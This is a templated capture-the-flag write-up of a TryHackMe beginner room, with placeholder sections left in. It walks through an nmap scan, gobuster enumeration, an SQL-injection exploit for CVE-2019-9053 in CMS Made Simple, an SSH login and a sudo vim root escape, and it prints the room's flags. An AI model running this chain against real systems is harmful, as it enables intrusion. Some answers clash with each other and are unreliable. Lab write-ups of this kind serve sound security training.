
platform: TryHackMe | difficulty: Easy | status: Completed

TryHackMe — Beginner Level

Room: tryhackme.com/room/easyctf

Date Completed: [19/05/ 2026]

Tools Used: Nmap | Gobuster | SQLMap | SSH

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Simple CTF is a beginner-level TryHackMe room designed to test foundational penetration testing skills including reconnaissance, web enumeration, vulnerability exploitation, and privilege escalation.

Field	Details
Platform	TryHackMe
Room Name	Simple CTF
Difficulty	EASY Beginner
Target IP	[10.49.181.77 assigned IP]
Date Completed	[19/05/2026]
Time Taken	[1hr]
Tools Used	Nmap, Gobuster, SQLMap, SSH

1.1 Questions to Answer

1. How many services are running under port 1000?
Ans: 2
2. What is running on the higher port?
Ans: SSH
3. What's the CVE used to gain access?
Ans: CVE-2019-9053
4. What is the password?
Ans: secret
5. Where can you login with the details obtained?
Ans: ssh
6. What's the user flag?
Ans: G00d j0b, keep up!
7. Is there any other user in the home directory? What's their flag?
Ans: sunbath
8. What's the root flag?
Ans: W3ll d0n3. You made it!

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Step 1 Reconnaissance — Nmap Scan

Discover open ports and running services

Objective

Nmap

Tool

DONE

Status

Command:

```
nmap -sV -sC -A [TARGET-IP]

# -sV : Service version detection
# -sC : Default scripts
# -A  : Aggressive scan (OS + traceroute)
```

Output:

```
[Paste your actual Nmap output here]

Example:
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
80/tcp    open  http     Apache httpd 2.4.18
2222/tcp  open  ssh      OpenSSH 7.2p2
```

Screenshot: screenshots/step1-nmap.png**Q:** How many services are running under port 1000?**A:** [2]**Q:** What is running on the higher port?**A:** [SSH]

Step 2 Web Enumeration — Gobuster

Discover hidden directories on the web server

Objective

Gobuster

Tool

DONE

Status

Command:

```
gobuster dir -u http://[TARGET-IP] \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html
```

```
# dir : Directory brute forcing mode
# -u : Target URL
# -w : Wordlist path
# -x : File extensions to search
```

Output:

```
[Paste your actual Gobuster output here]

Example:
/simple (Status: 301)
/index.html (Status: 200)
```

Screenshot: screenshots/step2-gobuster.png

Finding: [What hidden directory or page did you find? e.g., “Discovered /simple directory running CMS Made Simple”]

Step 3 Vulnerability Identification — CMS Made Simple

Identify CVE in CMS Made Simple

Objective

Browser + ExploitDB

Tool

DONE

Status

Steps:

1. Navigate to `http://[TARGET-IP]/simple`
2. Scroll to the bottom of the page — find the CMS version
3. Search ExploitDB: `searchsploit cms made simple`
4. Identify the SQL injection CVE

```
searchsploit cms made simple

# Result:
CMS Made Simple < 2.2.10 - SQL Injection
CVE: CVE-2019-9053
```

Screenshot: screenshots/step3-cmsversion.png

Q: What's the CVE used to gain access?

A: CVE-2019-9053

Step 4 Exploitation — SQL Injection with SQLMap

Extract credentials using SQL injection

Objective[SQLMap](#) / [Python exploit](#)**Tool**

CVE-2019-9053

CVE

DONE

Status**Command:**

```
# Download exploit from ExploitDB
python3 46635.py -u http://[TARGET-IP]/simple \
  --crack -w /usr/share/wordlists/rockyou.txt

# OR using SQLMap:
sqlmap -u "http://[TARGET-IP]/simple/index.php?\
page=news&m1_idcat=12" --dbs --batch
```

Output:

```
[Paste your actual output here]

Example:
[+] Salt for password found: [salt-value]
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: secret
```

Screenshot: screenshots/step4-sqli.png**Q: To what user was able to SSH?****A:** [sqli]**Q: What is the password?****A:** [secret]**Q: Where can you login with the details obtained?****A:** SSH**Step 5 Initial Access — SSH Login**

Gain shell access using found credentials

Objective[SSH](#)**Tool**

DONE

Status**Command:**

```
ssh mitch@[TARGET-IP] -p 2222
# Enter password when prompted
```

Get user flag:

```
ls
cat user.txt
```

Screenshot: [screenshots/step5-ssh.png](#)

FLAG User Flag Captured!

Q: What's the user flag?

A: [G00d j0b, keep up!]

Q: Is there any other user in the home directory?

A: [sunbath]

Their flag: [W3ll d0n3. You made it!]

Step 6 Privilege Escalation — sudo vim

Escalate from user to root

Objective

`sudo` + `vim`

Tool

DONE

Status

Commands:

```
# Check what current user can run with sudo
sudo -l

# Output:
# User mitch may run the following commands:
# (root) NOPASSWD: /usr/bin/vim

# Exploit vim to get root shell
sudo vim -c '!/bin/bash'

# Now you are root!
whoami
# root

# Get root flag
cat /root/root.txt
```

Screenshot: [screenshots/step6-privesc.png](#)

Q: What can sudo run?

A: vim

FLAG Root Flag Captured!

Q: What's the root flag?

A: [W3ll d0n3. You made it!]

3 1

Flag	Location	Value
User Flag	/home/mitch/user.txt	[G00d j0b, keep up]
Root Flag	/root/root.txt	[W3ll d0n3. You made it!]

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Skill	What I Learned
Nmap Scanning	Identifying services and versions across all ports
Web Enumeration	Using Gobuster to find hidden directories
CVE Research	Identifying vulnerabilities by CMS version
SQL Injection	Exploiting CVE-2019-9053 to extract credentials
SSH Access	Logging in with cracked credentials on non-standard port
Privilege Escalation	Using sudo vim GTF0Bin to escalate to root

Key Takeaway:

This room demonstrated a complete attack chain — from initial reconnaissance through to root access. The most important lesson was that a single outdated CMS version exposed SQL injection credentials, which combined with a misconfigured sudo permission led to full system compromise. **Patch management and least-privilege sudo policies are critical defensive controls.**

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Successfully completed the Simple CTF room on TryHackMe by:

1. Discovering open ports and services with Nmap
2. Finding the `/simple` directory via Gobuster enumeration
3. Identifying CVE-2019-9053 in CMS Made Simple
4. Extracting credentials via SQL injection
5. Gaining SSH access on port 2222
6. Escalating to root via sudo vim GTFOBin

This writeup was created for educational and portfolio purposes. All work was performed on TryHackMe's authorised lab environment.